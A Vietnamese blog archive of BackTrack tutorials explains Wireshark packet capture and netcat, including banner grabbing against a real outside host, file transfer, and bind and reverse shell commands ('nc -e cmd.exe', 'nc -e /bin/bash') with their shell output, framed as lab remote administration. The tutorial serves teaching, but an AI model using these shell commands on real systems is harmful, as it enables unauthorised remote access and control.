Archive for the ‘Some tutor about using BackTrack’ Category


1.5  Using Wireshark (Ethereal)
Tổng quan

Việc học và hiểu tốt về một công cụ sniffer là một trong những yêu cầu tối cần thiết đối với những người làm việc liên quan tới network. Việc sử dụng tốt sniffer sẽ giúp chúng ta :

  • Capture được các gói tin từ nhiều nguồn khác nhau
  • Hiểu sâu hơn về bộ giao thức TCP/IP
  • Phân tích các gói tin được capture để hiểu rõ hơn về chức năng của giao thức mạng
  • Giúp đỡ trong việc phân tích và khắc phục sự cố mạng

1.5.1  Peeking at a Sniffer
Ok thực hiện một demo nhỏ, tôi bật WireShark lên và cấu hình nó, sau đó tôi truy cập vào website : http://www.milw0rm.com. Sau khi truy cập xong, tôi cho dừng việc capture packets của WireShark và tiến hành phân tích ngữ nghĩa của dòng traffic.


Packet1 : ARP Broadcast. Tại sao lại có nó nhỉ, hehe quay trở lại ví dụ của chúng ta, ta đang cố gắng thực hiện một kết nối ra ngoài Internet, và trước khi máy tính của chúng ta có thể thực sự trao đổi được dữ liệu, nó cần phải xác định defaut gateway nằm ở đâu trong mạng Local network (tức là mạng LAN hiện thời của chúng ta). Địa chỉ IP của default gateway đã được cấu hình trên máy tính của chúng ta rồi, tuy nhiên địa chỉ MAC của nó thì chúng ta chưa biết. Do đó từ máy tính của tôi gửi đi một thông điệp tới toàn mạng LAN rằng “Ai có địa chỉ IP là 192.168.0.1? Hãy trả lời lại cho 192.168.0.186”.

Packet2 : Toàn bộ máy tính trong mạng local subnet của tôi đều nhận được gói tin Arp broadcast này và chúng kiểm tra xem có phù hợp với yêu cầu từ máy tôi hay không.Lúc này chỉ có duy nhất địa chỉ 192.168.0.1 trả lời lại cho gói tin ARP của tôi và nó gửi lại cho máy tôi một gói tin là ARP unicast reply, trong đó chứa thông tin về địa chỉ MAC của default gateway.

Packet3 : Ok, giờ thì máy tính của tôi đã biết được nơi mà nó cần  phải gửi các packets để làm sao các packets đó đi ra được Internet, chúng ta cần resolve địa chỉ IP của website : http://www.milw0rm.com. Máy tính của tôi gửi một gói tin là DNS query tới DNS Server được chỉ ra trong phần cấu hình TCP/IP trên máy của tôi và hỏi DNS Server rằng : Địa chỉ ip của site milw0rm.com là gì?

Packet4 : Thằng DNS Server trả lời lại cho ta biết rằng FQDN của thằng http://www.milw0rm.com có bí danh là milw0rm.com

Packet5 : Tiếp theo máy tính của ta chấp nhận câu trả lời từ phía DNS Server và tiếp tục đi tìm câu trả lời cuối cùng là địa chỉ IP của milw0rm.com là gì ?

Packet6 : Lúc này thằng DNS Server sẽ trả lời lại và nói cho máy ta biết địa chỉ IP của site milw0rm.com là 213.150.45.196.

Packet7 : Có được câu trả lời về IP của milw0rm, máy của chúng ta tiến hành thủ tục bắt tay 3 bước (3 way handshake) với địa chỉ ip 213.150.45.196 tại port 80 và bắt đầu bằng việc gửi đi một SYN request.

Packet8 : Thằng Web Server sau khi nhận được gói SYN request của ta sẽ trả lời lại bằng một ACK và SYN về máy của ta.

Packet9 : Lúc này máy chúng ta kết thúc quá trình bắt tay 3 bước bằng cách gửi lại ACK về Web Server.

Packet10 : Sau khi kết thúc quá trình bắt tay tức là máy chúng ta lúc này có thể nói chuyện bằng service sử dụng các specific protocol. Do dúng ta dùng Web browser, cho nên máy chúng ta sẽ gửi một HTTP GET để yêu cầu lấy trang index page, và tất cả các linked images về browser của ta.

Packet11 – end : Toàn bộ trang index của  milw0rm đã được load về browser trên máy của chúng ta.

Sau khi phân tích như trên các bạn có thể thấy rằng chương trình sniffer thực sự rất hữu ích, nó giúp ta hình dung rõ ràng nhất những gì đang xảy ra trong môi trường mại của chúng ta.

1.5.2  Capture filters
Nhìn hình minh họa ở trên các bạn sẽ nhận thấy nó rất đẹp, đẹp là bởi vì nó không có các gói tin thuộc dạng “background noise”. Phải thú thực những gì mà ta làm ở trên là một ví dụ lý tưởng, đối với những môi trường nhiều máy tính truy cập các bạn sẽ nhận thấy khi ta capture sẽ nhận được vô số các gói tin hỗn độn nằm ngoài mục đích mong muốn của chúng ta. Những gói tin broadcast, các miscellaneous network services và các running applications khiến cho chúng ta nhiều lúc bị rối rắm trong quá trình phân tích các traffic.

Chính vì lý do này mà chúng ta phải cần tới các bộ lọc.Nhiệm vụ của filter sẽ giúp cho chúng ta loại ra các gói tin không cần thiết trong phiên capture. Các bạn hãy từ mình nghiên cứu và khám phá về nó.

1.5.3  Following TCP Streams
Như bạn thấy trong ví dụ về milw0rm.com ở trên, ta thấy rằng các packet từ 11- cho tới hết là khá  khó khăn trong việc phân tích bởi nó bao gồm các fragments. Các chương trình sniffer hiện đại như WireShark có khả năng ráp nối lại toàn bộ thông tin của một session cụ thể và hiện thị nó dưới dạng dễ nhìn và dễ hiểu hơn.

Advertisements

1.4 Netcat The Almighty
Tổng quan

Netcat là một công cụ được giới Hacking và Security đánh giá là tuyệt vời. Giải thích đơn giản thì netcat là một công cụ có thể “read and write to TCP and
UDP ports”. Netcat có thể chạy ở hai mode : “client” hoặc “server”. Một lời khuyên rất hay mà tôi thường gặp là “Nếu như bạn cảm thấy hay và còn lờ mờ về vấn đề hay công cụ đó hãy tự mình research”

1.4.1 Connecting to a TCP/UDP port with Netcat
Việc kết nối tới một TCP/UDP port trong nhiều trường hợp sẽ giúp ích cho chúng ta những vấn đề sau :

  • Chúng ta muốn kiểm tra xem một port đang open hay đã close (Khả năng quét cổng ngẫu nhiên.)
  • Chúng ta muốn đọc banner từ port
  • Chúng ta muốn kết nối tời một network service

Ok, chúng ta chạy thử netcat và xem help của nó :

1. Để kết nối tới một TCP port 22 tại địa chỉ nào đó và grap lấy banner của chương trình ssh server ta làm như sau (ở đây tôi lấy đại một địa chỉ) :

bt ~ # nc -vv vgr.net 22
Warning: inverse host lookup failed for 65.161.177.104: Unknown host
host6.net [65.161.177.104] 22 (ssh) open
SSH-2.0-OpenSSH_3.8.1p1
sent 0, rcvd 24
bt ~ #

2. Kết quả ta thấy cổng 22 đang open và SSH banner trả về là SSH-2.0-OpenSSH_3.8.1p1

3. Giờ thử connect tới port 80 xem thế nào nhé, thêm vào đó ta sẽ gửi một HTTP HEAD request tới server và đọc ra HTTP server banner. Ta làm như sau :

bt ~ # nc -vv vgr.net 80
Warning: inverse host lookup failed for 65.161.177.104: Unknown host
host6.net [65.161.177.104] 80 (http) open
HEAD / HTTP/1.0

HTTP/1.1 200 OK
Date: Fri, 10 Oct 2008 03:12:20 GMT
Server: Apache
X-Powered-By: PHP/4.4.2
Connection: close
Content-Type: text/html; charset=ISO-8859-1

sent 17, rcvd 161
bt ~ #

Qua đây ta đoán được Server này sử dụng Apache làm Web Server, trên đó đã cài PHP với version có thể là 4.4.2.

1.4.2 Listening on a TCP/UDP port with Netcat
Một tính năng rất hay khác của netcat đó là listen trên một port TCP/UDP, nó mang tới khả năng trong việc ” network debugging client applications”, hoặc “receiving a TCP/UDP network connection”

Ta thử thực hiện một đoạn chat đơn giản sử dụng netcat, công việc này cần có hai máy. Máy của tôi có địa chỉ ip là 10.32.110.67 (OS: Linux), máy khác có ip là 10.32.110.57 (OS : WindowsXP).

1. Trên máy của tôi,tôi chạy netcat cho listen trên port 4444 và lắng nghe các kết nối tới máy tôi :

bt ~ # nc -lvvp 4444
listening on [any] 4444 …

2. Từ máy Windows tôi thực hiện kết nối tới máy tôi :

C:\nc111nt>nc.exe -vv 10.32.110.67 4444
10.32.110.67: inverse host lookup failed: h_errno 11004: NO_DATA
(UNKNOWN) [10.32.110.67] 4444 (?) open

Gõ thử dòng sau :

C:\nc111nt>nc.exe -vv 10.32.110.67 4444
10.32.110.67: inverse host lookup failed: h_errno 11004: NO_DATA
(UNKNOWN) [10.32.110.67] 4444 (?) open
Hi, how are you

Chuyển qua máy tôi :

bt ~ # nc -lvvp 4444
listening on [any] 4444 …
10.32.110.57: inverse host lookup failed: Unknown host
connect to [10.32.110.67] from (UNKNOWN) [10.32.110.57] 2219
Hi, how are you <== thông điệp nhận được
I’m fine. Thanx..And you? <== tôi gửi lại

Kết quả trên máy Windows :

C:\nc111nt>nc.exe -vv 10.32.110.67 4444
10.32.110.67: inverse host lookup failed: h_errno 11004: NO_DATA
(UNKNOWN) [10.32.110.67] 4444 (?) open
Hi, how are you
I’m fine. Thanx..And you?

1.4.3 Transferring files with Netcat
Netcat có thể được sử dụng để truyền nhận file như một simple ftp.Nó hỗ trợ truyền text và binary files.Thực hiện demo tranfer một file từ máy Windows tới máy Linux.

1. Tại máy Linux : ta cho netcat lắng nghe và chấp nhận kết nối đồng thời chuyển hướng bất kì một input nào từ máy Windows vào một file.

bt ~ # nc -lvp 4444 > output.txt
listening on [any] 4444 …

2. Tại máy Windows : ta tạo ra một file test.txt có nội dung tùy ý.Sau đó connect tới máy Linux và send file.

C:\nc111nt>echo “Hi! I want to transfer some files to you..lolz!!” > test.txt

C:\nc111nt>type test.txt
“Hi! I want to transfer some files to you..lolz!!”

C:\nc111nt>nc.exe -vv 10.32.110.67 4444 < test.txt
10.32.110.67: inverse host lookup failed: h_errno 11004: NO_DATA
(UNKNOWN) [10.32.110.67] 4444 (?) open

Do netcat không có thông báo hay dấu hiệu gì cho ta thấy rằng đang truyền file, cho nên ta đợi một lúc sau đó nhấn Ctrl + C để thoát khỏi netcat.

3. Tại máy Linux tiến hành kiểm tra
bt ~ # nc -lvp 4444 > output.txt
listening on [any] 4444 …
10.32.110.57: inverse host lookup failed: Unknown host
connect to [10.32.110.67] from (UNKNOWN) [10.32.110.57] 4084
bt ~ # cat output.txt
“Hi! I want to transfer some files to you..lolz!!”
bt ~ #

Dùng lệnh cat để kiểm tra nội dung của file output.txt như trên. 🙂

1.4.4 Remote Administration with Netcat
Một tên gọi khác của netcat được nhiều người gọi là “Netcat as a BackDoor”. Một trong những tính năng có thể gọi là tinh xảo của netcat đó là command redirection. Điều này được giải thích như sau :
“Netcat can take an exe file and redirect the input,output and error messages to a TCP/UDP port, rather than to the default console.”. Ta lấy ví dụ để cho dễ hiểu với file cmd.exe trên máy Windows.Bằng việc redirect stdin/stdout/stderr, chúng ta có thể bind chương trình cmd.exe vào một local port.Bất kì một người nào kết nối tới port này sẽ nhận được một command prompt. Hehe có vẻ lằng nhằng nhỉ, theo dõi một số ví dụ để dễ hình dung.

Giả sử, có hai user là Bob và Alice – hai user này đều muốn tìm cách kết nối tới máy của nhau.Hãy xem hình minh họa về mô hình mạng cũng như vai trò của từng người trong mô hình.

1.4.4.1 Scenario 1 – Bind Shell
Trong ví dụ 1 này, Bob muốn nhờ tới sự trợ giúp của Alice do đó anh ta đề nghị Alice kết nối tới máy của anh ta để giúp đỡ. Như bạn thấy trong hình trên Bob tác giả nói là (Bob has a non RFC 1918 address (http://www.faqs.org/rfcs/rfc1918.html)) và anh ta kết nối trực tiếp với internet.Tuy nhiên, ngược lại Alice lại đừng đằng sau một NAT connection.

Để giúp alice connect tới máy mình Bob làm như sau, anh ta cần phải bind cmd.exe ra một port TCP trên máy anh ta và sau đó thông báo cho Alice kết nối tới port đó.
Trên máy của Bob :

C:\nc111nt>nc -lvvp 4444 -e cmd.exe
listening on [any] 4444 …

Điều này hơi nguy hiểm bởi lẽ nếu một người nào đó không phải là Alice mà sử dụng việc scan port trên máy Bob và dùng nc kết nối tới thì sẽ nguy hiểm. Ở đây ta giả sử chỉ có Alice kết nối tới.

Tại máy của Alice

bt ~ # nc -v 10.32.110.57 4444
10.32.110.57: inverse host lookup failed: Unknown host
(UNKNOWN) [10.32.110.57] 4444 (krb524) open
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\nc111nt> <== hiện ra cái này là kết nối thành công 🙂

Tiếp theo thử gõ lệnh xem thế nào :

C:\nc111nt>dir
dir
Volume in drive C has no label.
Volume Serial Number is 4CD7-38CF

Directory of C:\nc111nt

10/10/2008 03:42 PM

.
10/10/2008 03:42 PM ..
12/28/2004 11:23 AM 12,166 doexec.c
07/09/1996 04:01 PM 7,283 generic.h
11/06/1996 10:40 PM 22,784 getopt.c
11/03/1994 07:07 PM 4,765 getopt.h
02/06/1998 03:50 PM 61,780 hobbit.txt
12/27/2004 05:37 PM 18,009 license.txt
11/28/1997 02:36 PM 544 makefile
12/29/2004 01:07 PM 61,440 nc.exe
12/29/2004 01:07 PM 69,662 netcat.c
12/27/2004 05:44 PM 6,833 readme.txt
10/10/2008 03:42 PM 53 test.txt
11 File(s) 265,319 bytes
2 Dir(s) 31,878,184,960 bytes free

C:\nc111nt>

1.4.4.2 Scenario 2 – Reverse Shell
Tình huống thứ hai, giờ đến lượt Alice muốn nhờ Bob giúp.Ta giả định rằng Alice không phải là người kiểm soát NAT device, vậy có cách nào để Bob kết nối tới máy của Alice và giúp đỡ cô ấy. 😦

Một tính năng thú vị khác của netcat là khả năng send một command shell tới một listening host.Vì vậy trong tình huống này, mặc dù Alice không thể bind port tới cmd.exe trên máy của cô ấy và mong chờ Bob kết nối tới, cô ấy có thể send command prompt của cô ấy tới máy của Bob :). Vậy thực hiện như sau :

Tại máy của Bob:

C:\nc111nt>nc -lvvp 4444
listening on [any] 4444 …

Tại máy của Alice :

bt ~ # nc -v 10.32.110.57 4444 -e /bin/bash
10.32.110.57: inverse host lookup failed: Unknown host
(UNKNOWN) [10.32.110.57] 4444 (krb524) open

Lúc này tại máy của Bob ta thấy như sau :

C:\nc111nt>nc -lvvp 4444
listening on [any] 4444 …
10.32.110.67: inverse host lookup failed: h_errno 11004: NO_DATA
connect to [10.32.110.57] from (UNKNOWN) [10.32.110.67] 44735: NO_DATA

Lúc này ta có thể gõ lệnh được rồi :

C:\nc111nt>nc -lvvp 4444
listening on [any] 4444 …
10.32.110.67: inverse host lookup failed: h_errno 11004: NO_DATA
connect to [10.32.110.57] from (UNKNOWN) [10.32.110.67] 44735: NO_DATA
ifconfig
eth0 Link encap:Ethernet HWaddr 00:0C:29:36:1E:01
inet addr:10.32.110.67 Bcast:10.32.110.255 Mask:255.255.255.0
UP BROADCAST NOTRAILERS RUNNING MULTICAST MTU:1500 Metric:1
RX packets:188690 errors:1 dropped:0 overruns:0 frame:0
TX packets:16575 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:24337003 (23.2 MiB) TX bytes:3898205 (3.7 MiB)
Interrupt:16 Base address:0x2000

lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
UP LOOPBACK RUNNING MTU:16436 Metric:1
RX packets:10 errors:0 dropped:0 overruns:0 frame:0
TX packets:10 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:1135 (1.1 KiB) TX bytes:1135 (1.1 KiB)

ls
Desktop
dnsz.sh
dodnsr.sh
dopings.sh
findicq.sh
icq-ips.txt
icq-srv.txt
index.html
output.txt

Chà thật là thú vị. Dưới đây là đôi lời của tác giả viết bài này :


Netcat has other nice features and uses such as simple sniffing abilities, port redirection and others which I will leave for you to research independently. The reason I didn’t want to call this Module “Netcat as a backdoor” is that students usually start thinking about the malicious implementations of such a backdoor, and one of the first questions asked is: “How to I get Netcat to run on the victim machine, without remote user intervention?”.I usually dismiss this question, with a horrified look on my face. The magic answer to this question is simply “remote code execution”.Ninety percent of attack vectors can be summarized with the pair of words “code execution”.For example,attacks such as Buffer Overflows, SQL injection, File Inclusion,Client Side Attacks, Trojan Horses – all aim to result in “code execution” on the victim machine.